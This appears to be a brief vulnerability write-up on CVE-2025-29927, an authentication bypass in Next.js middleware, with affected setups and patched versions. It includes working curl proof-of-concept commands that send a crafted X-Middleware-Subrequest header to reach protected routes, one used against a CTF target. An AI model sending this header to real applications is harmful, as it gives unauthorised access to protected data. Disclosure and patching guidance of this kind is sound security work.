CVE-2025-29927 — Next.js Middleware Authentication Bypass

Overview

Imagine a bouncer in front of the club, but if you tell him "I'm already in," he lets you pass without checking. That's exactly what CVE-2025-29927 is.

Middleware in Next.js runs before a request is processed, making it the ideal place to handle authentication. Next.js uses an internal x-middleware-subrequest header to prevent recursive requests and avoid infinite loops. This vulnerability demonstrates that it's possible to bypass or skip middleware execution entirely — including critical security checks like authentication before reaching a protected route.

Affected Versions

Vulnerable applications

• Applications that host Next.js and use middleware
• Applications that rely on middleware for authentication and security checks without validating later in the application stack

Unaffected

• Applications hosted on Vercel
• Applications hosted on Netlify
• Applications published as static exports (middleware is not executed)

Impact

Thousands or millions of applications run on unpatched Next.js versions. If unmitigated, this vulnerability allows unauthenticated access to protected routes by anyone — no credentials required.

Proof of Concept

curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

The response returns the protected page without any authentication.

I exploited this vulnerability on a real CTF environment

curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Fix

Upgrade Next.js to a patched version:

• 15.x → 15.2.3 or higher
• 14.x → 14.2.25 or higher
• 13.x → 13.5.9 or higher